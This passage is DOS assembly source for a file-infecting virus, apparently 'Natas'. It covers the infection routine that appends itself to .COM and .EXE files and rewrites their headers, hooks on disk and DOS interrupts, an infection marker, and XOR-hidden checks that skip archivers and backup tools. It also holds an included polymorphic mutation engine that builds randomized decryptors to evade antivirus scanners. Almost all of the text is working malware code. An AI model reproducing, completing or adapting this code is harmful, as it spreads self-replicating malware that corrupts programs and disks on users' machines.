|
mov di,offset work_header
|
|
cld
|
|
rep movsb ; copy header to work_header
|
|
call get_dcb
|
|
les ax,ds:[di.dcb_size] ; get file size
|
|
mov dx,es
|
|
mov word ptr ds:[di.dcb_pos],ax
|
|
mov word ptr ds:[di.dcb_pos+2],dx ; lseek to end
|
|
push cs cs
|
|
pop es ds
|
|
mov cx,ds:[si] ; get first 2 bytes
|
|
cmp cx,'MZ' ; .EXE file?
|
|
je inf_exe
|
|
cmp cx,'ZM' ; .EXE file?
|
|
je inf_exe
|
|
or dx,bp ; COM file and < 64k?
|
|
jnz inf_bad_file
|
|
cmp ax,0-(file_size+100)
|
|
ja inf_bad_file
|
|
cmp ax,1000
|
|
jb inf_bad_file
|
|
mov byte ptr ds:[si],0e9h ; build jump
|
|
inc ah ; Add PSP size (100h)
|
|
push ax ; save IP for engine
|
|
add ax,offset decrypt-103h ; get jump disp. (- PSP size)
|
|
mov ds:[si+1],ax
|
|
jmp append_vir
|
|
|
|
inf_bad_file: stc
|
|
retn
|
|
|
|
inf_exe: cmp word ptr ds:[si.eh_max_mem],-1
|
|
jne inf_bad_file
|
|
mov bp,ax
|
|
mov di,dx ; save size in DI:BP
|
|
mov cx,200h
|
|
div cx ; divide into pages
|
|
or dx,dx ; Any remainder?
|
|
jz no_round
|
|
inc ax
|
|
no_round: sub ax,ds:[si.eh_size] ; size same as header says?
|
|
jne inf_bad_file
|
|
sub dx,ds:[si.eh_modulo]
|
|
jne inf_bad_file
|
|
mov ax,file_size ; virus size
|
|
add ax,bp
|
|
adc dx,di ; + program size
|
|
div cx ; / 512
|
|
or dx,dx ; round up?
|
|
jz no_round1
|
|
inc ax
|
|
no_round1: mov ds:[si.eh_size],ax
|
|
mov ds:[si.eh_modulo],dx ; set new size
|
|
mov bx,0-(file_size+1000)
|
|
xor cx,cx
|
|
get_exe_ip: cmp bp,bx ; make sure virus does not
|
|
; cross segments
|
|
jb got_exe_ip
|
|
sub bp,10h ; down 10h bytes
|
|
loop get_exe_ip ; up 1 paragraph
|
|
got_exe_ip: cmp di,0fh
|
|
ja inf_bad_file
|
|
xchg cx,ax
|
|
mov cl,4
|
|
ror di,cl ; get segment displacement
|
|
or ax,ax
|
|
jz no_para_add
|
|
sub di,ax ; Add segments from LOOP
|
|
jnc inf_bad_file
|
|
no_para_add: sub di,ds:[si.eh_size_header] ; CS-header size in
|
|
; paragraphs
|
|
push bp ; save offset of v_start
|
|
add bp,decrypt-v_start
|
|
mov ds:[si.eh_ip],bp ; set IP
|
|
mov ds:[si.eh_cs],di ; set CS
|
|
add bp,512 ; 512 bytes of stack
|
|
mov ds:[si.eh_sp],bp ; set SP
|
|
mov ds:[si.eh_ss],di ; set SS
|
|
mov bp,8000h ; Tell engine "Exe file"
|
|
sar bx,cl ; 0 - ((file_size+1000h)/16)
|
|
mov ax,ds:[si.eh_min_mem]
|
|
sub ax,bx ; add file_size+1000h/16
|
|
jnb append_vir
|
|
mov ds:[si.eh_min_mem],ax
|
|
|
|
append_vir: pop ax
|
|
call engine ; encrypt/write/decrypt
|
|
push bp
|
|
popf
|
|
jc append_vir_err
|
|
call get_dcb
|
|
mov word ptr ds:[di.dcb_pos],cx
|
|
mov word ptr ds:[di.dcb_pos+2],cx ; lseek to start
|
|
mov ah,40h
|
|
mov dx,offset work_header
|
|
push cs
|
|
pop ds
|
|
call header_op ; write new header to file
|
|
append_vir_err: retn
|
|
|
|
;=====( Get DCB address for file )===========================================;
|
|
|
|
get_dcb: push ax bx
|
|
mov ax,1220h
|
|
mov bx,cs:handle ; get file handle
|
|
int 2fh ; get DCB number address
|
|
jc get_dcb_fail
|
|
mov ax,1216h
|
|
mov bl,es:[di] ; get DCB number
|
|
cmp bl,-1 ; Handle Openned?
|
|
cmc
|
|
je get_dcb_fail
|
|
int 2fh ; get DCB address
|
|
jc get_dcb_fail
|
|
push es
|
|
pop ds
|
|
test byte ptr ds:[di.dcb_dev_attr],80h ; device or file?
|
|
cmc
|
|
jne get_dcb_fail
|
|
test byte ptr ds:[di.dcb_date+1],80h ; infected?
|
|
get_dcb_fail: pop bx ax
|
|
retn
|
|
|
|
;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============;
|
|
|
|
int_2_bios: push ax bx dx ds
|
|
mov al,13h ; int 13h
|
|
mov di,offset int_13
|
|
int_2_bios_lp: push cs
|
|
pop ds
|
|
call get_int ; get int address
|
|
mov dx,es
|
|
xchg bx,ds:[di] ; swap offsets
|
|
cld
|
|
scasw
|
|
xchg dx,bx
|
|
xchg bx,ds:[di] ; swap segments
|
|
scasw
|
|
mov ds,bx ; DS:DX=new address
|
|
call set_int ; set int to DS:DX
|
|
cmp al,15h
|
|
mov al,15h
|
|
jnb int_2_bios_40 ; CY AL=13h
|
|
add di,4
|
|
jmp int_2_bios_lp
|
|
|
|
int_2_bios_40: mov al,40h
|
|
je int_2_bios_lp ; ZR AL=15h else AL=40h, exit
|
|
pop ds dx bx ax
|
|
retn
|
|
|
|
;=====( Read/write header to file )==========================================;
|
|
|
|
read_header: mov ah,3fh
|
|
cmp ax,0
|
|
org $ - 2
|
|
write_header: mov ah,40h
|
|
mov dx,offset header
|
|
header_op: mov cx,18h
|
|
call call_21_file ; read/write header
|
|
jc read_write_err
|
|
sub ax,cx
|
|
read_write_err: retn
|
|
|
|
;=====( Unhook int 24h )=====================================================;
|
|
|
|
undo_24: mov al,24h
|
|
lds dx,cs:int_24
|
|
call set_int ; unhook int 24h
|
|
in al,21h
|
|
and al,not 2 ; enable keyboard
|
|
out 21h,al
|
|
retn
|
|
|
|
;=====( Save returns after int 21h call )====================================;
|
|
|
|
save_returns: mov ss:[bp.reg_ax],ax
|
|
pushf
|
|
pop ss:[bp.reg_f]
|
|
retn
|
|
|
|
;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================;
|
|
|
|
is_specialfile: push ax cx si di es
|
|
mov al,0
|
|
check_special = byte ptr $ - 1
|
|
or al,al ; Check for special?
|
|
jnz it_is_special
|
|
call get_psp ; get MCB of current PSP
|
|
mov ax,es:[di] ; get 1st 2 letters of name
|
|
cmp ax,'RA' ; ARj?
|
|
je it_is_special
|
|
cmp ax,'HL' ; LHa?
|
|
je it_is_special
|
|
cmp ax,'KP' ; PKzip?
|
|
je it_is_special
|
|
mov cx,2
|
|
mov si,offset backup
|
|
is_it_mod_bak: push cx di
|
|
mov cl,8
|
|
lods byte ptr cs:[si] ; get 'B' or 'M'
|
|
xor al,66h + 6h ; decrypt
|
|
repne scasb
|
|
jne is_it_mod
|
|
cmp cl,3
|
|
jb is_it_mod
|
|
mov cl,4
|
|
is_ode_ack: lods byte ptr cs:[si]
|
|
xor al,66h + 6h
|
|
jz is_it_mod ; 0 (done)?
|
|
scasb
|
|
loope is_ode_ack
|
|
is_it_mod: mov si,offset modem
|
|
pop di cx
|
|
loopne is_it_mod_bak
|
|
it_is_special: pop es di si cx ax
|
|
retn
|
|
|
|
backup: db 'B' xor (66h + 6h)
|
|
db 'A' xor (66h + 6h)
|
|
db 'C' xor (66h + 6h)
|
|
db 'K' xor (66h + 6h)
|
|
db 0 xor (66h + 6h)
|
|
|
|
modem: db 'M' xor (66h + 6h)
|
|
db 'O' xor (66h + 6h)
|
|
db 'D' xor (66h + 6h)
|
|
db 'E' xor (66h + 6h)
|
|
db 'M' xor (66h + 6h)
|
|
|
|
|
|
;=====( get current PSP segment )============================================;
|
|
|
|
get_psp: push ax bx
|
|
mov ah,62h
|
|
call call_21 ; get PSP segment
|
|
dec bx
|
|
mov es,bx ; MCB of current program
|
|
mov di,8h ; offset of file name
|
|
cld
|
|
pop bx ax
|
|
retn
|
|
|
|
;=====( Get DTA address )====================================================;
|
|
|
|
get_dta: mov ah,2fh
|
|
call call_21 ; DTA address into ES:BX
|
|
push es
|
|
pop ds
|
|
retn
|
|
|
|
call_dos_13: call swap_13
|
|
pushf
|
|
call cs:dos_13
|
|
call swap_13
|
|
retn
|
|
|
|
call_disk: test dl,80h ; ZF -> Floppy disk (int 40h)
|
|
je call_40
|
|
|
|
call_13: pushf
|
|
call cs:int_13
|
|
retn
|
|
|
|
call_21_file: mov bx,0
|
|
handle = word ptr $ - 2
|
|
|
|
call_21: pushf
|
|
push cs
|
|
call go_2_21
|
|
retn
|
|
|
|
call_40: pushf
|
|
call cs:int_40
|
|
retn
|
|
|
|
include eng.asm
|
|
|
|
db "Natas",0
|
|
|
|
even
|
|
|
|
decrypt: mov word ptr ds:[100h],1f0eh ; PUSH CS/POP DS
|
|
mov byte ptr ds:[102h],0e8h ; CALL
|
|
jmp file_start
|
|
|
|
org decrypt + 150
|
|
|
|
header dw 18h / 2 dup(20cdh)
|
|
|
|
file_end:
|
|
|
|
work_header dw 18h / 2 dup(?)
|
|
|
|
write_buff: db encode_end-encode dup(?)
|
|
|
|
int_21_ss dw ?
|
|
int_21_sp dw ?
|
|
|
|
dw 256 / 2 dup(?)
|
|
temp_stack:
|
|
|
|
jump_code_13 db 5 dup(?)
|
|
jump_code_21 db 5 dup(?)
|
|
|
|
int_1 dd ?
|
|
int_24 dd ?
|
|
|
|
int_13 dd ?
|
|
dos_13 dd ?
|
|
int_15 dd ?
|
|
int_40 dd ?
|
|
int_21 dd ?
|
|
|
|
new_24: db 3 dup(?)
|
|
|
|
push_pop_ret dw ?
|
|
|
|
pointer dw ?
|
|
disp dw ?
|
|
encode_ptr dw ?
|
|
encode_enc_ptr dw ?
|
|
|
|
key_reg db ?
|
|
count_reg db ?
|
|
ptr_reg db ?
|
|
ptr_reg1 db ?
|
|
modify_op db ?
|
|
|
|
|
|
origin db ?
|
|
inst_count db ?
|
|
|
|
disk_buff db 512 dup(?)
|
|
|
|
v_end:
|
|
|
|
|
|
;=====( Very useful structures )=============================================;
|
|
|
|
|
|
|
|
;=====( Memory Control Block structure )=====================================;
|
|
|
|
mcb struc
|
|
mcb_sig db ? ; 'Z' or 'M'
|
|
mcb_owner dw ? ; attribute of owner
|
|
mcb_size dw ? ; size of mcb block
|
|
mcb_name db 8 dup(?) ; file name of owner
|
|
mcb ends
|
|
|
|
|
|
;=====( For functions 11h and 12h )==========================================;
|
|
|
|
|
|
Directory STRUC
|
|
DS_Drive db ?
|
|
DS_Name db 8 dup(0)
|
|
DS_Ext db 3 dup(0)
|
|
DS_Attr db ?
|
|
DS_Reserved db 10 dup(0)
|
|
DS_Time dw ?
|
|
DS_Date dw ?
|
|
DS_Start_Clust dw ?
|
|
DS_Size dd ?
|
|
Directory ENDS
|
|
|
|
|
|
;=====( for functions 4eh and 4fh )==========================================;
|
|
|
|
|
|
DTA STRUC
|
|
DTA_Reserved db 21 dup(0)
|
|
DTA_Attr db ?
|
|
DTA_Time dw ?
|
|
DTA_Date dw ?
|
|
DTA_Size dd ?
|
|
DTA_Name db 13 dup(0)
|
|
DTA ENDS
|
|
|
|
|
|
Exe_Header STRUC
|
|
EH_Signature dw ? ; Set to 'MZ' or 'ZM' for .exe files
|
|
EH_Modulo dw ? ; remainder of file size/512
|
|
EH_Size dw ? ; file size/512
|
|
EH_Reloc dw ? ; Number of relocation items
|
|
EH_Size_Header dw ? ; Size of header in paragraphs
|
|
EH_Min_Mem dw ? ; Minimum paragraphs needed by file
|
|
EH_Max_Mem dw ? ; Maximum paragraphs needed by file
|
|
EH_SS dw ? ; Stack segment displacement
|
|
EH_SP dw ? ; Stack Pointer
|
|
EH_Checksum dw ? ; Checksum, not used
|
|
EH_IP dw ? ; Instruction Pointer of Exe file
|
|
EH_CS dw ? ; Code segment displacement of .exe
|
|
eh_1st_reloc dw ? ; first relocation item
|
|
eh_ovl dw ? ; overlay number
|
|
Exe_Header ENDS
|
|
|
|
Boot_Sector STRUC
|
|
bs_Jump db 3 dup(?)
|
|
bs_Oem_Name db 8 dup(?)
|
|
bs_Bytes_Per_Sector dw ?
|
|
bs_Sectors_Per_Cluster db ?
|
|
bs_Reserved_Sectors dw ?
|
|
bs_FATs db ? ; Number of FATs
|
|
bs_Root_Dir_Entries dw ? ; Max number of root dir entries
|
|
bs_Sectors dw ? ; number of sectors; small
|
|
bs_Media db ? ; Media descriptor byte
|
|
bs_Sectors_Per_FAT dw ?
|
|
bs_Sectors_Per_Track dw ?
|
|
bs_Heads dw ? ; number of heads
|
|
bs_Hidden_Sectors dd ?
|
|
bs_Huge_Sectors dd ? ; number of sectors; large
|
|
bs_Drive_Number db ?
|
|
bs_Reserved db ?
|
|
bs_Boot_Signature db ?
|
|
bs_Volume_ID dd ?
|
|
bs_Volume_Label db 11 dup(?)
|
|
bs_File_System_Type db 8 dup(?)
|
|
Boot_Sector ENDS
|
|
|
|
|
|
Partition_Table STRUC
|
|
pt_Code db 1beh dup(?) ; partition table code
|
|
pt_Status db ? ; 0=non-bootable 80h=bootable
|
|
pt_Start_Head db ?
|
|
pt_Start_Sector_Track dw ?
|
|
pt_Type db ? ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT
|
|
pt_End_Head db ?
|
|
pt_End_Sector_Track dw ?
|
|
pt_Starting_Abs_Sector dd ?
|
|
pt_Number_Sectors dd ?
|
|
Partition_Table ENDS
|
|
|
|
|
|
int_1_stack STRUC
|
|
st_ip dw ? ; offset of next instruction after
|
|
; interrupt
|
|
st_cs dw ? ; segment of next instruction
|
|
st_flags dw ? ; flags when interrupt was called
|
|
int_1_stack ENDS
|
|
|
|
;----------------------------------------------------------------------------;
|
|
; Dcb description for DOS 3+ ;
|
|
; ;
|
|
; Offset Size Description ;
|
|
; 00h WORD number of file handles referring to this file ;
|
|
; 02h WORD file open mode (see AH=3Dh) ;
|
|
; bit 15 set if this file opened via FCB ;
|
|
; 04h BYTE file attribute ;
|
|
; 05h WORD device info word (see AX=4400h) ;
|
|
; 07h DWORD pointer to device driver header if character device ;
|
|
; else pointer to DOS Drive Parameter Block (see AH=32h) ;
|
|
; 0Bh WORD starting cluster of file ;
|
|
; 0Dh WORD file time in packed format (see AX=5700h) ;
|
|
; 0Fh WORD file date in packed format (see AX=5700h) ;
|
|
; 11h DWORD file size ;
|
|
; 15h DWORD current offset in file ;
|
|
; 19h WORD relative cluster within file of last cluster accessed ;
|
|
; 1Bh WORD absolute cluster number of last cluster accessed ;
|
|
; 0000h if file never read or written??? ;
|
|
; 1Dh WORD number of sector containing directory entry ;
|
|
; 1Fh BYTE number of dir entry within sector (byte offset/32) ;
|
|
; 20h 11 BYTEs filename in FCB format (no path/period, blank-padded) ;
|
|
; 2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file ;
|
|
; 2Fh WORD (SHARE.EXE) network machine number which opened file ;
|
|
; 31h WORD PSP segment of file's owner (see AH=26h) ;
|
|
; 33h WORD offset within SHARE.EXE code segment of ;
|
|
; sharing record (see below) 0000h = none ;
|
|
;----------------------------------------------------------------------------;
|
|
|
|
|
|
|
|
dcb struc
|
|
dcb_users dw ?
|
|
dcb_mode dw ?
|
|
dcb_attr db ?
|
|
dcb_dev_attr dw ?
|
|
dcb_drv_addr dd ?
|
|
dcb_1st_clst dw ?
|
|
dcb_time dw ?
|
|
dcb_date dw ?
|
|
dcb_size dd ?
|
|
dcb_pos dd ?
|
|
dcb_last_clst dw ?
|
|
dcb_current_clst dw ?
|
|
dcb_dir_sec dw ?
|
|
dcb_dir_entry db ?
|
|
dcb_name db 8 dup(?)
|
|
dcb_ext db 3 dup(?)
|
|
dcb_useless1 dw ?
|
|
dcb_useless2 dw ?
|
|
dcb_useless3 dw ?
|
|
dcb_psp_seg dw ?
|
|
dcb_useless4 dw ?
|
|
dcb ends
|
|
|
|
bpb STRUC
|
|
bpb_Bytes_Per_Sec dw ?
|
|
bpb_Sec_Per_Clust db ?
|
|
bpb_Reserved_Sectors dw ?
|
|
bpb_FATs db ? ; Number of FATs
|
|
bpb_Root_Dir_Entries dw ? ; Max number of root dir entries
|
|
bpb_Sectors dw ? ; number of sectors; small
|
|
bpb_Media db ? ; Media descriptor byte
|
|
bpb_Sectors_Per_FAT dw ?
|
|
bpb_Sectors_Per_Track dw ?
|
|
bpb_Heads dw ? ; number of heads
|
|
bpb_Hidden_Sectors dd ?
|
|
bpb_Huge_Sectors dd ? ; number of sectors; large
|
|
bpb_Drive_Number db ?
|
|
bpb_Reserved db ?
|
|
bpb_Boot_Signature db ?
|
|
bpb_Volume_ID dd ?
|
|
bpb_Volume_Label db 11 dup(?)
|
|
bpb_File_System_Type db 8 dup(?)
|
|
bpb ENDS
|
|
|
|
|
|
register struc
|
|
reg_es dw ?
|
|
reg_ds dw ?
|
|
reg_di dw ?
|
|
reg_si dw ?
|
|
reg_bp dw ?
|
|
reg_dx dw ?
|
|
reg_cx dw ?
|
|
reg_bx dw ?
|
|
reg_ax dw ?
|
|
reg_f dw ?
|
|
register ends
|
|
|
|
sys_file struc
|
|
sys_next dd ?
|
|
sys_strat dw ?
|
|
sys_int dw ?
|
|
sys_file ends
|
|
|
|
|
|
end
|
|
-----------------------------<<eng.asm>>---------------------------------------
|
|
|
|
_ax equ 0
|
|
_cx equ 1
|
|
_dx equ 2
|
|
_bx equ 3
|
|
_sp equ 4
|
|
_bp equ 5
|
|
_si equ 6
|
|
_di equ 7
|
|
|
|
|
|
engine: mov ds:pointer,ax ; save IP
|
|
mov di,offset decrypt
|
|
mov bx,offset make_count
|
|
mov cx,offset make_key
|
|
mov dx,offset make_ptr
|
|
mov si,offset order_ret
|
|
or bp,11101111b ; SP is used
|
|
call order ; randomize and call registers
|
|
push di ; save start of loop
|
|
push di
|
|
mov si,offset encode
|
|
mov di,offset write_buff
|
|
mov cx,encode_end-encode
|
|
rep movsb ; copy write code
|
|
mov ds:encode_ptr,offset (encode_break-encode)+write_buff
|
|
pop di
|
|
mov bx,offset make_enc
|
|
mov cx,offset make_keychange
|
|
mov dx,offset make_deccount
|
|
mov si,offset make_incptr
|
|
call order ; call routines
|
|
|
|
;=====( Preform loop )=======================================================;
|
|
|
|
mov ax,2
|
|
push ax
|
|
call random ; test BP for 4000?
|
|
pop ax
|
|
jz loop_no_test
|
|
test bp,4000h ; possible to just "Jcc"?
|
|
jnz loop_make_jcc
|
|
loop_no_test: call random
|
|
jz loop_no_test1
|
|
test bp,2000h ; use loop?
|
|
jnz loop_make_jcc
|
|
loop_no_test1: or bp,800h ; do not change flags
|
|
mov ax,2
|
|
cwd
|
|
call random ; try OR/AND/TEST reg,reg
|
|
; or XOR/ADD/OR/SUB reg,0?
|
|
mov al,ds:count_reg ; get counter
|
|
jnz loop_orandtest
|
|
call boolean ; do XOR/OR/ADD or ADD/SUB?
|
|
jnz loop_modify
|
|
call add_reg ; ADD/SUB reg,0
|
|
jmp loop_make_jcc
|
|
|
|
loop_modify: call modify_reg ; XOR/OR/ADD reg,0
|
|
jmp loop_make_jcc
|
|
|
|
loop_orandtest: mov cl,3
|
|
mov ch,al
|
|
shl ch,cl
|
|
or al,ch ; set reg1 as reg2 also
|
|
mov bx,2 ; OR/AND/TEST
|
|
call random_bx
|
|
jnz loop_and
|
|
or ax,9c0h ; OR reg1, reg2
|
|
loop_reverse: call boolean ; use 9 or 11?
|
|
jnz loop_orandteststo
|
|
or ah,2h ; reg2, reg1
|
|
jmp loop_orandteststo
|
|
|
|
loop_and: dec bx
|
|
jnz loop_test
|
|
or ax,21c0h ; AND reg1, reg2
|
|
jmp loop_reverse
|
|
|
|
loop_test: or ax,85c0h ; TEST reg1, reg2
|
|
loop_orandteststo:
|
|
xchg al,ah
|
|
stosw ; store TEST/OR/AND
|
|
or bp,1800h ; do not change flags/
|
|
; test stored
|
|
call garble
|
|
loop_make_jcc: and bp,not 800h
|
|
test bp,2000h ; code loop?
|
|
jz loop_make_jump
|
|
mov al,0e2h ; LOOP
|
|
test bp,1000h ; possible to use LOOPNZ/Z?
|
|
jz loop_code_disp
|
|
call boolean
|
|
jnz loop_code_disp
|
|
dec ax ; LOOPZ
|
|
call boolean
|
|
jnz loop_iscx
|
|
dec ax ; LOOPNZ
|
|
jmp loop_code_disp
|
|
|
|
;=====( Now make conditional jump )==========================================;
|
|
|
|
jcc_tbl: db 75h,79h,7dh,7fh ; JNE/JNS/JG/JGE
|
|
|
|
loop_make_jump: mov bx,offset jcc_tbl
|
|
mov ax,3
|
|
call random
|
|
xlat ; get Conditional jump
|
|
mov bx,2
|
|
call random_bx ; use JE/JS/LE/L then JMP?
|
|
jnz loop_code_disp
|
|
cmp ds:count_reg,_cx ; CX is counter?
|
|
jnz loop_notcx
|
|
mov bl,4
|
|
call random_bx
|
|
jnz loop_notcx
|
|
mov al,0e3h + 1 ; JCXZ + 1
|
|
loop_notcx: dec ax
|
|
loop_iscx: stosw
|
|
cmp al,07fh ; Jcxz/loopz?
|
|
ja loop_code_short
|
|
call boolean ; Use opposite or EB?
|
|
jnz loop_code_short
|
|
or bp,800h ; dont change flags
|
|
loop_code_short:mov si,di ; save offset of displacement
|
|
call garble
|
|
lea ax,ds:[si-2]
|
|
sub ax,di
|
|
neg al ; get jump displacement
|
|
mov ds:[si-1],al ; save it
|
|
test bp,800h ; Dont change flags -> "Jcc"
|
|
mov al,0ebh ; Jmp short
|
|
je loop_code_disp
|
|
mov ax,3
|
|
call random
|
|
mov bx,offset jcc_tbl
|
|
xlat ; Get JNE/JNS/JG/JGE
|
|
loop_code_disp: stosb ; store jump
|
|
pop ax ; start of loop
|
|
dec ax
|
|
sub ax,di ; get loop displacement
|
|
stosb
|
|
or bp,11101111b ; free all registers
|
|
and bp,not 800h ; allow flags to change
|
|
call garble
|
|
mov ax,19
|
|
call random ; 1 in 20 chance of non-jmp
|
|
jnz loop_code_jmp
|
|
mov ax,ds:pointer
|
|
add ax,offset file_start ; where to jump
|
|
xchg dx,ax
|
|
call get_reg ; get a register
|
|
call mov_reg ; Mov value into register
|
|
or ax,0ffc0h + (4 shl 3) ; JMP reg16
|
|
call boolean ; PUSH/RET or JMP reg16?
|
|
jnz loop_code_push
|
|
xchg al,ah
|
|
jmp loop_code_stosw
|
|
|
|
loop_code_push: mov bx,2
|
|
call random_bx ; 1 in 3 chance of FF /6 PUSH
|
|
jnz loop_code_push1
|
|
xor al,(6 shl 3) xor (4 shl 3) ; PUSH reg
|
|
xchg al,ah
|
|
stosw
|
|
jmp loop_code_ret
|
|
|
|
loop_code_push1:xor al,50h xor (0c0h or (4 shl 3)) ; PUSH reg
|
|
stosb
|
|
loop_code_ret: call garble
|
|
mov al,0c3h ; RETN
|
|
stosb
|
|
jmp loop_code_end
|
|
|
|
loop_code_jmp: mov al,0e9h
|
|
stosb ; Store Jump
|
|
lea ax,ds:[di-((file_start-2)-v_start)]
|
|
neg ax ; Jmp file_start
|
|
loop_code_stosw:stosw
|
|
loop_code_end: mov si,ds:encode_enc_ptr ; get encrypt instruction ptr
|
|
cmp di,offset header ; Decryptor is too large?
|
|
jb go_write_buff
|
|
stc ; return error
|
|
pushf
|
|
pop bp
|
|
retn
|
|
|
|
go_write_buff: jmp write_buff ; encrypt/write/decrypt
|
|
|
|
|
|
;=====( Inc pointer )========================================================;
|
|
|
|
make_incptr: mov ax,word ptr ds:ptr_reg ; get pointer registers
|
|
mov dx,2 ; ADD ptr,2
|
|
cmp ah,-1 ; two registers used?
|
|
jz make_incptr_1
|
|
call boolean ; do one or both?
|
|
jnz make_incptr_do1
|
|
dec dx ; ADD ptr,1
|
|
call make_incptr_do1
|
|
jmp make_incptr_2
|
|
|
|
make_incptr_do1:call boolean
|
|
jnz make_incptr_1
|
|
make_incptr_2: xchg al,ah
|
|
make_incptr_1: call add_reg
|
|
sub ds:disp,dx ; add to displacement
|
|
retn
|
|
|
|
;=====( Dec counter )========================================================;
|
|
|
|
make_deccount: cmp si,offset make_deccount ; last operation?
|
|
jnz make_deccount_notlast
|
|
call boolean ; do it?
|
|
jnz make_deccount_notlast
|
|
or bp,4800h ; remember we're last
|
|
make_deccount_notlast:
|
|
mov al,ds:count_reg
|
|
cmp al,_cx ; possible to use LOOP/LOOPNZ?
|
|
jnz make_deccount_notcx
|
|
call boolean
|
|
jnz make_deccount_notcx
|
|
or bp,2000h ; do LOOP
|
|
jmp make_deccount_exit
|
|
|
|
make_deccount_notcx:
|
|
mov dx,-1 ; ADD counter,-1
|
|
call add_reg
|
|
make_deccount_exit:
|
|
or bp,400h ; deccount executed
|
|
retn
|
|
|
|
;=====( Make encryption instruction )========================================;
|
|
|
|
make_enc: push bp
|
|
and bp,not 400h
|
|
mov al,ds:key_reg
|
|
push ax ; save key register
|
|
make_enc_which: mov ax,4 ; ADD/SUB/XOR/ROR/ROL
|
|
call random
|
|
mov bx,0105h ; ADD [DI],AX
|
|
mov cx,1119h ; ADC/SBB
|
|
mov dx,2905h ; SUB [DI],AX
|
|
jz make_enc_add
|
|
dec ax
|
|
jz make_enc_sub
|
|
dec ax
|
|
jnz make_enc_ror
|
|
mov bh,31h ; XOR
|
|
mov dx,3105h ; XOR [DI],AX
|
|
jmp make_enc_sto
|
|
|
|
make_enc_ror: cmp ds:key_reg,_cx ; CX is key?
|
|
jne make_enc_which
|
|
or bp,400h ; Put XCHG CX,AX
|
|
mov bh,0d3h
|
|
mov dx,0d30dh ; ROL
|
|
dec ax
|
|
jz r_make_enc_sto
|
|
xchg bx,dx ; ROR
|
|
r_make_enc_sto: mov ds:key_reg,al ; 1 SHL 3 = 08 / D3 08
|
|
; D3 00 = ROL [],CL
|
|
jmp make_enc_sto
|
|
|
|
make_enc_sub: xchg dh,bh ; SUB - ADD [DI],AX
|
|
xchg cl,ch ; SBB/ADC
|
|
make_enc_add: call boolean ; do Carry?
|
|
jnz make_enc_sto
|
|
push bx
|
|
mov bh,ch ; Make it ADC/SBB
|
|
call clear_carry
|
|
cmp al,0
|
|
org $ - 1
|
|
make_enc_sto: push bx
|
|
test bp,8000h ; EXE file?
|
|
jz make_enc_com
|
|
call is_bp_ptr ; is BP a pointer?
|
|
je make_enc_com
|
|
mov al,2eh ; CS:
|
|
call boolean
|
|
jnz make_enc_cs
|
|
mov al,36h ; SS:
|
|
make_enc_cs: stosb ; store segment override
|
|
make_enc_com: mov al,bh
|
|
stosb ; store instruction
|
|
mov ax,word ptr ds:ptr_reg ; get pointer registers
|
|
cmp ah,-1 ; second reg?
|
|
je make_enc_xlat
|
|
add al,ah
|
|
make_enc_xlat: mov bx,offset rm_tbl
|
|
xlat ; get r/m
|
|
call is_bp_ptr ; is BP a pointer?
|
|
jnz make_enc_nobp
|
|
inc ah ; is there a second reg?
|
|
jne make_enc_nobp
|
|
or al,01000000b ; [BP+xx]
|
|
make_enc_nobp: mov cx,ds:disp ; get displacement
|
|
mov bx,6
|
|
call random_bx ; allow no displacement?
|
|
jz make_enc_get_disp
|
|
jcxz make_enc_sto_rm
|
|
make_enc_get_disp:
|
|
or al,01000000b ; 8bit displacement
|
|
call boolean ; allow 8bit displacement?
|
|
jnz make_enc_16bit
|
|
cmp cx,7fh ; 8bit displacement?
|
|
jbe make_enc_sto_rm
|
|
cmp cx,-80h
|
|
jb make_enc_16bit
|
|
xor ch,ch
|
|
cmp ax,0
|
|
org $ - 2
|
|
make_enc_16bit: xor al,11000000b ; 8bit off, 16bit on
|
|
make_enc_sto_rm:mov ah,ds:key_reg
|
|
shl ah,1
|
|
shl ah,1
|
|
shl ah,1 ; from bits 0-2 of AH
|
|
or al,ah ; to bits 3-5 of AL
|
|
stosb ; store r/m byte
|
|
test al,11000000b ; any displacement?
|
|
jz make_enc_disp
|
|
test al,10000000b ; 16bit displacement?
|
|
xchg cx,ax
|
|
stosw ; store displacement
|
|
jnz make_enc_disp
|
|
dec di ; 8bit only
|
|
make_enc_disp: xchg di,ds:encode_ptr ; get encode ptr
|
|
test bp,400h ; store XCHG CX,AX?
|
|
je make_enc_nor
|
|
mov al,91h ; XCHG CX,AX
|
|
stosb
|
|
make_enc_nor: xchg dx,ax
|
|
xchg al,ah
|
|
mov ds:encode_enc_ptr,di ; save instruction pointer
|
|
stosw ; set encryption instruction
|
|
je make_enc_nor1
|
|
mov al,91h ; XCHG CX,AX
|
|
stosb
|
|
make_enc_nor1: xchg di,ds:encode_ptr ; restore decrypt ptr
|
|
pop ax
|
|
xchg al,ah
|
|
mov word ptr ds:write_buff[encode_flip-encode],ax
|
|
; save opposite operation
|
|
pop ax
|
|
mov ds:key_reg,al ; restore key register
|
|
pop bp
|
|
retn
|
|
|
|
rm_tbl: db -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3 ; -1's not used
|
|
|
|
;=====( Change key )=========================================================;
|
|
|
|
make_keychange: call boolean ; change key?
|
|
jnz make_keychange_yes
|
|
retn
|
|
|
|
make_keychange_yes:
|
|
push bp
|
|
or bp,200h ; let know that keychange
|
|
mov ax,3
|
|
call random ; 1 in 4 chance of modify_reg
|
|
jnz keychange_other
|
|
call random_1
|
|
xchg dx,ax ; Random value to modify key
|
|
; reg by
|
|
mov al,ds:key_reg
|
|
call modify_reg ; XOR/ADD/OR
|
|
keychange_stoop:xchg di,ds:encode_ptr ; get ptr to encode
|
|
inc di ; CLC
|
|
mov al,ds:modify_op ; get operation
|
|
stosb
|
|
keychange_stodx:xchg dx,ax ; store value/operation
|
|
keychange_sto: stosw
|
|
xchg di,ds:encode_ptr ; get decrypt pointer
|
|
pop bp
|
|
retn
|
|
|
|
keychange_other:mov al,4 ; ROR/ROL/NOT/NEG/ADD
|
|
call random
|
|
jnz keychange_rol
|
|
mov ax,0d1c0h ; ROR AX,1
|
|
keychange_cl: mov bx,2 ; 1 in 3 chance of ,CL
|
|
call random_bx
|
|
jnz keychange_nocl
|
|
cmp ds:count_reg,_cx ; Count is CX?
|
|
jne keychange_nocl
|
|
test bp,400h ; Count already decremented?
|
|
jnz keychange_nocl
|
|
or ah,2 ; By CL
|
|
keychange_nocl: xchg al,ah
|
|
push ax
|
|
